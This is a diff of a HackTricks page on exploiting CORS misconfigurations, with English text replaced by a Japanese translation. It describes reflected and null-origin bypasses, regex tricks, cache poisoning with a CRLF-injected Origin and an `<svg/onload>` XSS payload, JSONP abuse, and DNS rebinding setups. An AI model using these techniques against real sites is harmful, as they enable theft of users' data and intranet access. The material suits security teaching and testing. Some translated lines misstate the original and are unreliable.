☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## What is CORS? +## CORSとは? -The CORS (Cross-origin resource sharing) standard is needed because it **allows servers to specify who can access its assets** and which **HTTP request methods are allowed** from external resources. +CORS(Cross-origin resource sharing)標準は、**サーバーがアセットにアクセスできるユーザー**と、外部リソースからの**HTTPリクエストメソッドが許可されるかどうか**を指定するために必要です。 -A **same-origin** policy, requiers that both the **server requesting** a resource and the server where the **resource** is located uses the same protocol ([http://),domain](http://\),domain) name (internal-web.com) and the same **port** (80). Then, if the server forces the same-origin policy, only web pages from the same domain and port will be able to access the resources. +**同一オリジン**ポリシーは、リソースをリクエストする**サーバー**と、リソースが配置されている**サーバー**が同じプロトコル([http://)、ドメイン](http://\)、ドメイン)名(internal-web.com)および同じ**ポート**(80)を使用することを要求します。そのため、サーバーが同一オリジンポリシーを強制する場合、同じドメインとポートのウェブページのみがリソースにアクセスできます。 -The following table shows how the same-origin policy will be applied in `http://normal-website.com/example/example.html` : +次の表は、`http://normal-website.com/example/example.html`で同一オリジンポリシーが適用される方法を示しています: -| URL accessed | Access permitted? | +| アクセスされるURL | アクセスが許可されますか? | | ----------------------------------------- | ---------------------------------- | -| `http://normal-website.com/example/` | Yes: same scheme, domain, and port | -| `http://normal-website.com/example2/` | Yes: same scheme, domain, and port | -| `https://normal-website.com/example/` | No: different scheme and port | -| `http://en.normal-website.com/example/` | No: different domain | -| `http://www.normal-website.com/example/` | No: different domain | -| `http://normal-website.com:8080/example/` | No: different port\* | +| `http://normal-website.com/example/` | はい:同じスキーム、ドメイン、ポート | +| `http://normal-website.com/example2/` | はい:同じスキーム、ドメイン、ポート | +| `https://normal-website.com/example/` | いいえ:異なるスキームとポート | +| `http://en.normal-website.com/example/` | いいえ:異なるドメイン | +| `http://www.normal-website.com/example/` | いいえ:異なるドメイン | +| `http://normal-website.com:8080/example/` | いいえ:異なるポート\* | -\*_Internet Explorer will allow this access because IE does not take account of the port number when applying the same-origin policy._ +\*_Internet Explorerは、同一オリジンポリシーを適用する際にポート番号を考慮しないため、このアクセスを許可します。_ -### `Access-Control-Allow-Origin` Header +### `Access-Control-Allow-Origin`ヘッダー -The specification of `Access-Control-Allow-Origin` allows for **multiple origins**, or the value **`null`**, or the wildcard **`*`**. However, **no browser supports multiple origins** and there are **restrictions** on the use of the **wildcard** `*`.(_The wildcard can only be used alone, this will fail `Access-Control-Allow-Origin: https://*.normal-website.com` and it cannot be used with_ _Access-Control-Allow-Credentials: true_) +`Access-Control-Allow-Origin`の仕様では、**複数のオリジン**、または値**`null`**、またはワイルドカード**`*`**が許可されています。ただし、**ブラウザは複数のオリジンをサポートしていません**し、ワイルドカード**`*`**の使用には**制限**があります。(_ワイルドカードは単独で使用することができ、`Access-Control-Allow-Origin: https://*.normal-website.com`は失敗します。また、_ _Access-Control-Allow-Credentials: true_と一緒に使用することはできません) -This header is **returned by a server** when a website requests a cross-domain resource, with an `Origin` header added by the browser. +このヘッダーは、ブラウザによって追加された`Origin`ヘッダーを使用して、ウェブサイトがクロスドメインのリソースをリクエストするときに**サーバーによって返されます**。 -### `Access-Control-Allow-Credentials` Header +### `Access-Control-Allow-Credentials`ヘッダー -The **default** behaviour of cross-origin resource requests is for **requests** to be **passed without credentials** like cookies and the Authorization header. However, the cross-domain server can **permit reading** of the **response** when **credentials** are **passed** to it by setting the CORS **`Access-Control-Allow-Credentials`** header to **`true`**. - -If the value is set to `true`then the browser will send credentials (cookies, authorization headers or TLS client certificates). +クロスドメインのリソースリクエストの**デフォルト**動作は、クッキーやAuthorizationヘッダーなどの**クレデンシャルを伴わないリクエスト**が**渡される**ことです。ただし、クロスドメインサーバーは、CORSの**`Access-Control-Allow-Credentials`**ヘッダーを**`true`**に設定することで、**クレデンシャル**が**渡された**応答の**読み取りを許可**することができます。 +値が`true`に設定されている場合、ブラウザはクレデンシャル(クッキー、認証ヘッダー、TLSクライアント証明書)を送信します。 ```javascript var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { - if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { - console.log(xhr.responseText); - } +if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { +console.log(xhr.responseText); } -xhr.open('GET', 'http://example.com/', true); -xhr.withCredentials = true; +} +xhr.open('GET', 'http://example.com/', true); +xhr.withCredentials = true; xhr.send(null); ``` ```javascript fetch(url, { - credentials: 'include' +credentials: 'include' }) ``` @@ -69,27 +68,25 @@ xhr.setRequestHeader('Content-Type', 'application/xml'); xhr.onreadystatechange = handler; xhr.send('Arun'); ``` +### プリフライトリクエスト -### Pre-flight request +特定の状況下では、クロスドメインリクエストが次の条件を満たす場合に、プリフライトリクエストが送信されます: -Under certain circumstances, when a cross-domain request: - -* includes a **non-standard HTTP method (HEAD, GET, POST)** -* includes new **headers** -* includes special **Content-Type header value** +- **非標準のHTTPメソッド(HEAD、GET、POST)**が含まれる場合 +- 新しい**ヘッダー**が含まれる場合 +- 特別な**Content-Typeヘッダーの値**が含まれる場合 {% hint style="info" %} -**Check** [**in this link**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) **the conditions of a request to avoid sending of a pre-flight request** +**このリンク**をチェックして、プリフライトリクエストの送信を回避するためのリクエストの条件を確認してください。 {% endhint %} -the cross-origin request is preceded by a **request** using the **`OPTIONS`** **method**, and the CORS protocol necessitates an initial check on what **methods and headers are permitted prior to allowing the cross-origin request**. This is called the **pre-flight check**. The server **returns a list of allowed methods** in addition to the **trusted origin** and the browser checks to see if the requesting website's method is allowed. +クロスオリジンリクエストは、**`OPTIONS`メソッド**を使用した**リクエスト**によって先行します。CORSプロトコルでは、クロスオリジンリクエストを許可する前に、許可される**メソッドとヘッダーのチェック**が必要です。サーバーは、許可されるメソッドのリストと信頼されるオリジンを返し、ブラウザはリクエストするウェブサイトのメソッドが許可されているかどうかを確認します。 {% hint style="danger" %} -Note that **even if a pre-flight request isn't sent** because the "regular request" conditions are respected, the **response needs to have the authorization headers** or the **browser** **won't be able to read the response** of the request. +「通常のリクエスト」の条件が満たされているためにプリフライトリクエストが送信されない場合でも、レスポンスには認証ヘッダーが必要です。認証ヘッダーがない場合、ブラウザはリクエストのレスポンスを読み取ることができません。 {% endhint %} -For **example**, this is a pre-flight request that is seeking to **use the `PUT` method** together with a **custom** request **header** called `Special-Request-Header`: - +たとえば、次はプリフライトリクエストの例で、`PUT`メソッドを使用し、`Special-Request-Header`というカスタムリクエストヘッダーを使用しています: ``` OPTIONS /data HTTP/1.1 Host: @@ -98,9 +95,7 @@ Origin: https://normal-website.com Access-Control-Request-Method: PUT Access-Control-Request-Headers: Special-Request-Header ``` - -The server might return a response like the following: - +サーバーは次のようなレスポンスを返すかもしれません: ``` HTTP/1.1 204 No Content ... @@ -110,28 +105,26 @@ Access-Control-Allow-Headers: Special-Request-Header Access-Control-Allow-Credentials: true Access-Control-Max-Age: 240 ``` - -* `Access-Control-Allow-Headers` Allowed headers +* `Access-Control-Allow-Headers` 許可されたヘッダー * `Access-Control-Expose-Headers` -* `Access-Control-Max-Age` Defines a maximum timeframe for caching the pre-flight response for reuse -* `Access-Control-Request-Headers` The header the cross-origin request wants to send -* `Access-Control-Request-Method` The method the cross-origin request wants to use -* `Origin` Origin of the cross-origin request (Set automatically by the browser) +* `Access-Control-Max-Age` プリフライト応答を再利用するための最大時間枠を定義します +* `Access-Control-Request-Headers` クロスオリジンリクエストが送信したいヘッダー +* `Access-Control-Request-Method` クロスオリジンリクエストで使用したいメソッド +* `Origin` クロスオリジンリクエストのオリジン(ブラウザによって自動的に設定されます) ![](../.gitbook/assets/preflight.svg) -Note that usually (depending on the content-type and headers set) in a **GET/POST request no pre-flight request is sent** (the request is sent **directly**), but if you want to access the **headers/body of the response**, it must contains an _Access-Control-Allow-Origin_ header allowing it.\ -**Therefore, CORS doesn't protect against CSRF (but it can be helpful).** +通常(コンテンツタイプと設定されたヘッダーによって異なりますが)、**GET/POSTリクエストではプリフライトリクエストは送信されません**(リクエストは**直接**送信されます)。ただし、レスポンスのヘッダー/ボディにアクセスしたい場合は、それを許可する_Access-Control-Allow-Origin_ヘッダーを含める必要があります。\ +**したがって、CORSはCSRFに対して保護されていません(ただし、役に立つ場合もあります)。** -### **Local Network Requests Pre-flight request** +### **ローカルネットワークリクエストのプリフライトリクエスト** -When a request is sent to a local network IP address, 2 additional CORS headers are sent: +ローカルネットワークIPアドレスにリクエストが送信されると、2つの追加のCORSヘッダーが送信されます: -* The `Access-Control-Request-Local-Network` client request header indicates that the request is a local network request -* The `Access-Control-Allow-Local-Network` server response header indicates that a resource can be safely shared with external networks - -A **valid response allowing the local network request** needs to have also in the response the header `Access-Controls-Allow-Local_network: true` : +* `Access-Control-Request-Local-Network` クライアントリクエストヘッダーはリクエストがローカルネットワークリクエストであることを示します +* `Access-Control-Allow-Local-Network` サーバーレスポンスヘッダーはリソースが外部ネットワークと安全に共有できることを示します +**ローカルネットワークリクエストを許可する有効な応答**は、レスポンスにも`Access-Controls-Allow-Local_network: true`ヘッダーを含める必要があります: ``` HTTP/1.1 200 OK ... @@ -142,141 +135,130 @@ Access-Control-Allow-Local-Network: true Content-Length: 0 ... ``` - {% hint style="warning" %} -Note that the linux **0.0.0.0** IP works to **bypass** these requirements to access localhost as that IP address is not considered "local". - -It's also possible to **bypass the Local Network requirements** if you use the **public IP address of a local endpoint** (like the public IP of the router). Because in several occations, even if the **public IP** is being accessed, if it's **from the local network**, access will be granted. +注意してください。ローカルホストにアクセスするためにこれらの要件を**バイパス**するためには、Linuxの**0.0.0.0** IPが使用できます。このIPアドレスは「ローカル」とは見なされないためです。 +また、ローカルネットワークの要件を**バイパスすることも可能**です。これは、ローカルエンドポイント(ルーターのパブリックIPなど)の**パブリックIPアドレス**を使用する場合です。なぜなら、いくつかの場合では、**パブリックIP**にアクセスしている場合でも、それが**ローカルネットワーク**からのものであれば、アクセスが許可されるからです。 {% endhint %} -## Exploitable misconfigurations +## 悪用可能な設定ミス -Notice that most of the **real attacks require `Access-Control-Allow-Credentials`** to be set to **`true`** because this will allow the browser to send the credentials and read the response. Without credentials, many attacks become irrelevant; it means you can't ride on a user's cookies, so there is often nothing to be gained by making their browser issue the request rather than issuing it yourself. +ほとんどの**実際の攻撃では、`Access-Control-Allow-Credentials`が`true`に設定されている必要があります**。これにより、ブラウザがクレデンシャルを送信し、レスポンスを読み取ることができます。クレデンシャルがない場合、多くの攻撃は関係ありません。つまり、ユーザーのクッキーを利用することはできないため、ブラウザにリクエストを発行するのではなく、自分自身でリクエストを発行することによって得られるものはほとんどありません。 -One notable exception is when the **victim's network location functions as a kind of authentication.** You can use a victim’s browser as a proxy to bypass IP-based authentication and access intranet applications. In terms of impact this is similar to DNS rebinding, but much less fiddly to exploit. +注目すべき例外は、**被害者のネットワークの場所が一種の認証として機能する場合**です。被害者のブラウザを使用してIPベースの認証をバイパスし、イントラネットアプリケーションにアクセスすることができます。影響の面では、これはDNSリバインディングと似ていますが、利用するのがはるかに簡単です。 -### Reflected `Origin` in `Access-Control-Allow-Origin` +### `Access-Control-Allow-Origin`に反映される`Origin` -In the real world this cannot happen as **these 2 values of the headers are forbidden together**.\ -It is also true that a lot of developers want to **allow several URLs in the CORS**, but subdomain wildcards or lists of URLs aren't allowed. Then, several developers **generate** the \*\*`Access-Control-Allow-Origin`\*\*header **dynamically**, and in more than one occasion they just **copy the value of the Origin header**. +現実世界では、**これらの2つのヘッダーの値は同時に禁止されています**。\ +また、多くの開発者はCORSで**複数のURLを許可**したいと考えていますが、サブドメインのワイルドカードやURLのリストは許可されていません。そのため、いくつかの開発者は\*\*`Access-Control-Allow-Origin`\*\*ヘッダーを**動的に生成**し、複数の場合には単にOriginヘッダーの値を**コピー**するだけです。 -In that case, the **same vulnerability might be exploited.** - -In other cases, the developer could check that the **domain** (_victimdomain.com_) **appears** in the **Origin header**, then, an attacker can use a domain called **`attackervictimdomain.com`** to steal the confidential information. +その場合、**同じ脆弱性が悪用される可能性があります。** +他の場合では、開発者は**ドメイン**(_victimdomain.com_)が**Originヘッダーに表示されるかどうか**をチェックするかもしれません。その場合、攻撃者は**`attackervictimdomain.com`**というドメインを使用して機密情報を盗むことができます。 ```html ``` +### `null`オリジン -### The `null` Origin - -`null` is a special value for the **Origin** header. The specification mentions it being triggered by redirects, and local HTML files. Some applications might whitelist the `null` origin to support local development of the application.\ -This is nice because **several application will allow this value** inside the CORS and any **website can easily obtain the null origin using a sandboxed iframe**: - +`null`は**Origin**ヘッダーの特別な値です。仕様では、リダイレクトやローカルのHTMLファイルによってトリガーされることが言及されています。一部のアプリケーションでは、`null`オリジンをホワイトリストに登録して、アプリケーションのローカル開発をサポートする場合があります。\ +これは素晴らしいことです。なぜなら、**いくつかのアプリケーションはCORS内でこの値を許可**し、**任意のウェブサイトはサンドボックス化されたiframeを使用して簡単にnullオリジンを取得**できるからです。 ```html ``` ```html ``` +### **正規表現のバイパス** -### **Regexp bypasses** +もしドメイン _victim.com_ が**ホワイトリスト**に登録されている場合、_victim.com.**attacker.com**_ も**ホワイトリストに登録されているか**確認してください。または、**いくつかのサブドメインを乗っ取る**ことができる場合は、_**somesubdomain**.victim.com_ がホワイトリストに登録されているか確認してください。 -If you found the domain _victim.com_ to be **whitelisted** you should check if _victim.com.**attacker.com**_ is **whitelisted also**, or, in case you can **takeover some subdomain**, check if _**somesubdomain**.victim.com_ is whitelisted. +### **高度な正規表現のバイパス** -### **Advance Regexp bypasses** +文字列内のドメインを識別するために使用される正規表現のほとんどは、英数字のASCII文字と `.-` に焦点を当てています。そのため、Originヘッダー内の `victimdomain.com{.attacker.com` のようなものは、正規表現によってドメインが `victimdomain.com` と解釈されますが、ブラウザ(この場合、Safariはこの文字をドメインとしてサポートしています)はドメイン `attacker.com` にアクセスします。 -Most of the regex used to identify the domain inside the string will focus on alphanumeric ASCII characters and `.-` . Then, something like `victimdomain.com{.attacker.com` inside the Origin header will be interpreted by the regexp as if the domain was `victimdomain.com` but the browser (in this case Safari supports this character in the domain) will access the domain`attacker.com` . +サブドメインの `_` 文字は、Safariだけでなく、ChromeとFirefoxでもサポートされています! -The `_` character (in subdomains) is not only supported in Safari, but also in Chrome and Firefox! +**したがって、これらのサブドメインのいずれかを使用すると、URLのメインドメインを見つけるための「一般的な」正規表現をバイパスすることができます。** -**Then, using one of those subdomains you could bypass some "common" regexps to find the main domain of a URL.** - -**For more information and settings of this bypass check:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **and** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) +**このバイパスの詳細な情報と設定については、次を参照してください:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **および** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) ![](<../.gitbook/assets/image (153).png>) -### From XSS inside a subdomain +### サブドメイン内のXSSから -One defensive mechanism developers use against CORS exploitation is to white-list domains that frequently requests access for information. However, this isn’t entirely secure, because if even **one** of the subdomains of the **whitelisted** domain is **vulnerable** to other exploits such as **XSS**, it can enable CORS exploitation. - -Let us consider an example, the following code shows the configuration that allows subdomains of _requester.com_ to access resources of _provider.com_. +CORSの悪用に対して開発者が使用する防御メカニズムの1つは、頻繁に情報へのアクセスを要求するドメインをホワイトリストに登録することです。しかし、これは完全に安全ではありません。なぜなら、**ホワイトリストに登録されている**ドメインの**1つ**のサブドメインが**XSS**などの他の攻撃に**脆弱**である場合、CORSの悪用が可能になるからです。 +以下は例を考えましょう。次のコードは、_requester.com_ のサブドメインが _provider.com_ のリソースにアクセスできるように設定されている構成を示しています。 ```javascript if ($_SERVER['HTTP_HOST'] == '*.requester.com') - { - //Access data - else{ // unauthorized access} +{ +//Access data +else{ // unauthorized access} } ``` +前提として、ユーザーはrequester.comにはアクセスできず、sub.requester.comにのみアクセスできるとします。また、`sub.requester.com`はXSSの脆弱性があるとします。ユーザーはクロスサイトスクリプティング攻撃を使用して`provider.com`を攻撃することができます。 -Assuming that a user has access to sub.requester.com but not requester.com, and assuming that `sub.requester.com` is vulnerable to XSS. The user can exploit `provider.com` by using cross-site scripting attack method. +### **サーバーサイドキャッシュポイズニング** -### **Server-side cache poisoning** +星が揃っている場合、HTTPヘッダーインジェクションを介してサーバーサイドキャッシュポイズニングを使用して、[格納型XSS](https://portswigger.net/web-security/cross-site-scripting/stored)の脆弱性を作成することができるかもしれません。 -If the stars are aligned we may be able to use server-side cache poisoning via HTTP header injection to create a [stored XSS](https://portswigger.net/web-security/cross-site-scripting/stored) vulnerability. - -If an application **reflects** the **Origin header** without even checking it for illegal characters like , we effectively have a **HTTP header injection vulnerability against IE/Edge users as Internet Explorer and Edge view \r (0x0d) as a valid HTTP header terminator**:`GET / HTTP/1.1`\ +アプリケーションが**Originヘッダー**を**反映**して、カンマなどの不正な文字をチェックせずにいる場合、Internet ExplorerとEdgeは\r(0x0d)を有効なHTTPヘッダーターミネータとして表示するため、IE/Edgeユーザーに対して**HTTPヘッダーインジェクションの脆弱性**が発生します:`GET / HTTP/1.1`\ `Origin: z[0x0d]Content-Type: text/html; charset=UTF-7` -Internet Explorer sees the response as: +Internet Explorerは次のようにレスポンスを表示します: `HTTP/1.1 200 OK`\ `Access-Control-Allow-Origin: z`\ `Content-Type: text/html; charset=UTF-7` -This isn't directly exploitable because there's no way for an attacker to make someone's web browser send such a malformed header, but I can **manually craft this request in Burp Suite and a server-side cache may save the response and serve it to other people**. The payload I've used will change the page's character set to **UTF-7**, which is notoriously useful for creating XSS vulnerabilities. +これは直接的には悪用できませんが、攻撃者はBurp Suiteでこのリクエストを手動で作成し、サーバーサイドキャッシュがレスポンスを保存して他の人に提供する可能性があります。使用したペイロードはページの文字セットを**UTF-7**に変更し、XSSの脆弱性を作成するのに非常に有用です。 -### **Client-Side cache poisoning** - -You may have occasionally encountered a page with [reflected XSS](https://portswigger.net/web-security/cross-site-scripting/reflected) in a custom HTTP header. Say a web page reflects the contents of a custom header without encoding: +### **クライアントサイドキャッシュポイズニング** +カスタムHTTPヘッダー内の[反射型XSS](https://portswigger.net/web-security/cross-site-scripting/reflected)を持つページに偶然遭遇したことがあるかもしれません。ウェブページがエンコードせずにカスタムヘッダーの内容を反映する場合を考えてみましょう: ```http -GET / HTTP/1.1 -Host: example.com +GET / HTTP/1.1 +Host: example.com X-User-id: <svg/onload=alert\(1\)> -HTTP/1.1 200 OK -Access-Control-Allow-Origin: \* -Access-Control-Allow-Headers: X-User-id -Content-Type: text/html -... +HTTP/1.1 200 OK +Access-Control-Allow-Origin: \* +Access-Control-Allow-Headers: X-User-id +Content-Type: text/html +... Invalid user: <svg/onload=alert\(1\)>\ ``` - -With CORS, we can send any value in the Header. By itself, **that's useless** since the response containing our **injected JavaScript won't be rendered**. However, **if Vary: Origin hasn't been specified** the response **may be stored in the browser's cache and displayed directly when the browser navigates to the associated URL**. I've made a fiddle to [attempt this attack on a URL of your choice](https://jsfiddle.net/3gk8u8wu/3/). Since this attack uses client-side caching, it's actually quite reliable. - +CORSを使用すると、ヘッダーに任意の値を送信できます。それ自体では**無意味**ですが、**注入されたJavaScriptを含むレスポンスはレンダリングされません**。ただし、**Vary: Originが指定されていない場合**、レスポンスは**ブラウザのキャッシュに保存され、ブラウザが関連するURLに移動すると直接表示される可能性があります**。私は[fiddleを作成しました](https://jsfiddle.net/3gk8u8wu/3/)ので、好きなURLに対してこの攻撃を試すことができます。この攻撃はクライアント側のキャッシュを使用するため、非常に信頼性があります。 ```markup ``` +## バイパス -## Bypass +### XSSI(クロスサイトスクリプトインクルージョン)/ JSONP -### XSSI (Cross-Site Script Inclusion) / JSONP +XSSIは、リソースが`script`タグを使用して含まれる場合、SOP(同一生成元ポリシー)が適用されないという事実を利用する脆弱性の一種を指します。スクリプトはクロスドメインで含める必要があるため、攻撃者は`script`タグを使用して含まれたすべての情報を読み取ることができます。 -XSSI designates a kind of vulnerability which exploits the fact that, when a resource is included using the `script` tag, the SOP doesn’t apply, because scripts have to be able to be included cross-domain. An attacker can thus read everything that was included using the `script` tag. +これは特に、動的なJavaScriptやJSONPの場合に興味深いです。これらでは、クッキーなどの環境権限情報が認証に使用されます。クッキーは、異なるホストからリソースを要求する際に含まれます。BurpSuiteプラグイン:[https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) -This is especially interesting when it comes to dynamic JavaScript or JSONP when so-called ambient-authority information like cookies are used for authentication. The cookies are included when requesting a resource from a different host. BurpSuite plugin: [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) +[**さまざまな種類のXSSIとその攻撃方法について詳しくはこちらを参照してください。**](xssi-cross-site-script-inclusion.md) -[**Read more about the difefrent types of XSSI and how to exploit them here.**](xssi-cross-site-script-inclusion.md) - -Try to add a **`callback`** **parameter** in the request. Maybe the page was prepared to send the data as JSONP. In that case the page will send back the data with `Content-Type: application/javascript` which will bypass the CORS policy. +リクエストに**`callback`** **パラメータ**を追加してみてください。おそらく、ページはデータをJSONPとして送信するように準備されています。その場合、ページは`Content-Type: application/javascript`でデータを送り返し、CORSポリシーをバイパスします。 ![](<../.gitbook/assets/image (229).png>) -### Easy (useless?) bypass +### 簡単(無意味?)なバイパス -You can ask a web-application to make a request for you and send back the response. This will bypass the **`Access-Control-Allow-Origin`** but notice that the **credentials to the final victim won't be sent** as you will be **contacting a different domain** (the one that will make the request for you). +Webアプリケーションにリクエストを行い、レスポンスを送り返すように依頼することができます。これにより、**`Access-Control-Allow-Origin`**がバイパスされますが、注意点として、**最終的な被害者への認証情報は送信されません**。なぜなら、異なるドメイン(リクエストを行うドメイン)に連絡するためです。 [**CORS-escape**](https://github.com/shalvah/cors-escape) -CORS-escape provides a **proxy** that **passes** on our **request** along with its **headers**, and it also **spoofs** the **Origin** header (Origin = **requested domain**). So the **CORS policy is bypassed**.\ -The source code is [on Github](https://github.com/shalvah/cors-escape), so you can **host your own**. - +CORS-escapeは、**リクエスト**とその**ヘッダー**を**パス**する**プロキシ**を提供し、また**Origin**ヘッダー(Origin = **要求されたドメイン**)を**スプーフィング**します。したがって、**CORSポリシーがバイパス**されます。\ +ソースコードは[Github](https://github.com/shalvah/cors-escape)にありますので、**独自のホスト**を提供できます。 ```javascript xhr.open("GET", "https://cors-escape.herokuapp.com/https://maximum.blog/@shalvah/posts"); ``` - [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape) -Proxying is kinda like “passing on" your request, exactly as you sent it. We could solve this in an alternative way that still involves someone else making the request for you, but this time, **instead of using passing on your request, the server makes its own request, but with whatever parameters you specified.** +プロキシは、リクエストをそのまま「渡す」ようなものです。代わりに、他の誰かがあなたのリクエストを行う代替方法を使用することもできますが、この場合、サーバーは指定したパラメータで独自のリクエストを行います。 ### Iframe + Popup Bypass -You can **bypass CORS checks** such as `e.origin === window.origin` by **creating an iframe** and **from it opening a new window**. More information in the following page: +`e.origin === window.origin` のような CORS チェックをバイパスするために、**iframe を作成**し、**そこから新しいウィンドウを開く**ことでバイパスすることができます。詳細は以下のページを参照してください。 {% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} [iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md) {% endcontent-ref %} -### DNS Rebinding via TTL +### TTL を使用した DNS Rebinding ![](<../.gitbook/assets/image (108).png>) -Basically you make the **victim access your page**, then you change the **DNS of your domain (the IP)** and make it **points** to your **victims web page**. You make your **victim execute** (**JS**) something when the **TTL is** **over** so a new DNS request will be made and then you will be able to gather the information (as you will always maintains **the user in your domain**, he won't send **any cookie** to the victim server, so this options **abuses the special privileges of the IP of the victim**). +基本的には、**被害者にあなたのページにアクセスさせ**、**ドメインの DNS (IP) を変更**し、それを**被害者のウェブページに向けます**。TTL が終了すると、新しい DNS リクエストが行われるため、情報を収集することができます(ユーザーは常にあなたのドメインにいるため、被害者サーバーには**クッキーを送信しない**ため、このオプションは**被害者の IP の特権を悪用**します)。 -Even if you set the **TTL very low** (0 or 1) **browsers have a cache** that will **prevent** you from **abusing** this for several seconds/minuted. +TTL を非常に低く設定しても(0または1)、ブラウザには数秒/数分間の間、これを悪用するのを防ぐ**キャッシュ**があります。 -So, this technique is useful to **bypass explicit checks** (the victim is **explicitly performing a DNS request** to check the IP of the domain and when the bot is called he will do his own). +したがって、このテクニックは、**明示的なチェックをバイパスする**のに役立ちます(被害者はドメインの IP をチェックするために明示的に DNS リクエストを実行し、ボットが呼び出されると独自のリクエストを行います)。 -Or when you can have a **user/bot in the same page for a long time** (so you can **wait** until the **cache expires**). +または、**長時間同じページにユーザー/ボットがいる**場合に使用できます(キャッシュの有効期限が切れるまで待つことができます)。 -If you need something quick to abuse this you can use a service like [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html). +このテクニックを悪用するためには、[https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) のようなサービスを使用することができます。 -If you want to run your own DNS rebinding server you can use something like [**DNSrebinder**](https://github.com/mogwailabs/DNSrebinder)**,** then **expose** your **local port 53/udp**, create an **A registry pointing to it** (ns.example.com), and create a **NS registry** pointing to the **previously created A subdomain**(ns.example.com).\ -Then, any subdomain of that subdomain (ns.example.com), will be resolved by your host. +独自の DNS rebinding サーバーを実行する場合は、[**DNSrebinder**](https://github.com/mogwailabs/DNSrebinder) のようなものを使用し、**ローカルポート 53/udp を公開**し、それを指す **A レジストリ**(ns.example.com)を作成し、**以前に作成した A サブドメイン**(ns.example.com)を指す **NS レジストリ**を作成します。\ +その後、そのサブドメイン(ns.example.com)の任意のサブドメインは、ホストによって解決されます。 -Check out also the **publicly running server in** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html) +また、[**http://rebind.it/singularity.html**](http://rebind.it/singularity.html) で公開されているサーバーも確認してください。 -### DNS Rebinding via **DNS Cache Flooding** +### DNS Cache Flooding を使用した DNS Rebinding -As it was explained in the previous section, **browsers** have the IPs of domains **cached more time** than the one specified in the TTL. However, there is a way to bypass this defence. +前のセクションで説明したように、**ブラウザ**はドメインの IP を TTL で指定された時間よりも長くキャッシュしています。ただし、この防御策をバイパスする方法があります。 -You can have a service worker that will **flood the DNS cache to force a second DNS request**. SO the flow will be like: +DNS キャッシュを**フラッドするサービスワーカー**を持つことができます。これにより、2回目の DNS リクエストを強制することができます。したがって、フローは次のようになります。 -1. DNS request responded with attacker address -2. Service worker floods DNS cache (the cached attacker server name is deleted) -3. Second DNS request this time responded with 127.0.0.1 +1. DNS リクエストが攻撃者のアドレスで応答される +2. サービスワーカーが DNS キャッシュをフラッドする(キャッシュされた攻撃者のサーバー名が削除される) +3. 2回目の DNS リクエストが 127.0.0.1 で応答される ![](<../.gitbook/assets/image (375) (1).png>) -_Blue is the first DNS request and orange is the flood._ +_青は最初の DNS リクエスト、オレンジはフラッドです。_ -### DNS Rebinding via **Cache** +### キャッシュを使用した DNS Rebinding -As it was explained in the previous section, **browsers** have the IPs of domains **cached more time** than the one specified in the TTL. However, there is another way to bypass this defence. +前のセクションで説明したように、**ブラウザ**はドメインの IP を TTL で指定された時間よりも長くキャッシュしています。ただし、この防御策をバイパスする別の方法があります。 -You can **create 2 A records** (or **1 with 2 IPs**, depending on the provider) for the **same subdomain** in the **DNS provider** and when a browser checks for them he 